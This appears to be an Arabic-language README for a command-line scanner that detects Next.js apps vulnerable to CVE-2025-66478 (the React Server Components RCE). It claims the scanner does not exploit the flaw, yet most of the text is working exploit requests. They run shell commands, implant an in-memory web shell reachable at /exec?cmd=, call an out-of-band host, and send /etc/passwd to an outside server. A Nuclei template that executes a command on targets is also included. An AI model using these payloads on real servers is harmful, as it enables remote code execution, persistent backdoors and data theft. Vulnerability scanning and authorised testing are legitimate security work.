malayke/next.js-rsc-rce-scanner-cve-2025-66478ماسح ضوئي لسطر الأوامر للكشف الدفعي عن إصدارات تطبيقات Next.js وتحديد ما إذا كانت متأثرة بثغرة CVE-2025-66478.
ماسح سطر أوامر للكشف الدفعي عن إصدارات تطبيقات Next.js وتحديد ما إذا كانت متأثرة بثغرة CVE-2025-66478.
هذا الماسح لا يستغل الثغرة
https://nextjs.org/blog/CVE-2025-66478
git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# بناء لنظام Windows
go build -o nextjs-rce-scanner.exe
# مسح عالي التوازي (10 متزامن)
./nextjs-rce-scanner -file urls.txt -c 10
# وضع الواجهة الرسومية (للتصحيح):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# مهلة مخصصة
./nextjs-rce-scanner -file urls.txt -timeout 60
# للخوادم بدون واجهة رسومية (Ubuntu/Debian) - إضافة علامات Chrome
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# استخدام Chrome/Chromium المثبت في النظام
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# دمج مسار Chrome الثنائي مع العلامات (للخوادم)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# تصفية ومسح URLs محددة
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# الدمج مع أدوات Unix الأخرى
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3
لينكس:
/usr/bin/google-chrome أو /usr/bin/chromium-browser/usr/bin/google-chrome-stable أو /usr/bin/chromium/var/lib/flatpak/exports/bin/com.google.ChromemacOS:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome/Applications/Chromium.app/Contents/MacOS/Chromiumويندوز:
C:\Program Files\Google\Chrome\Application\chrome.exeC:\Program Files (x86)\Google\Chrome\Application\chrome.exewindow.next.version للحصول على معلومات الإصدارcreate-next-appnpx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# بدء التطبيق
npm run dev
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
curl "http://localhost:3000/exec?cmd=ls+-l"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
⚠️⚠️⚠️ استبدل an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com بنطاق OAST/dnslog الخاص بك
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
/etc/passwd{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
الفضل في الاستغلال الأولي: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
احفظ كود القالب أدناه في ملف react2shell.yaml، ثم شغل Nuclei.
nuclei -silent -u http://localhost:3000 -t react2shell.yaml
الفضل: @Behi_Sec
⚠️ قالب nuclei هذا يكتشف فقط الخوادم الضعيفة التي تعمل على أنظمة تشغيل Unix
id: cve-2025-55182-react2shell
info:
name: Next.js/React Server Components RCE (React2Shell)
author: assetnote
severity: critical
description: |
Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
reference:
- https://github.com/assetnote/react2shell-scanner
- https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id:
- CVE-2025-55182
- CVE-2025-66478
tags: cve, cve2025, nextjs, rce, react
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/login?a=13371337"
- "X-Action-Redirect"
condition: and
يمكنك تحديد ما إذا كانت وظيفة RSC الضعيفة في NextJS موجودة بناءً على حقل Vary في ترويسة استجابة HTTP.
رخصة MIT
هذه الأداة مخصصة لأغراض البحث الأمني والاختبار المصرح به فقط. قد يؤدي استخدام هذه الأداة لمسح أهداف غير مصرح بها إلى انتهاك القوانين واللوائح ذات الصلة. المستخدمون مسؤولون عن أي عواقب.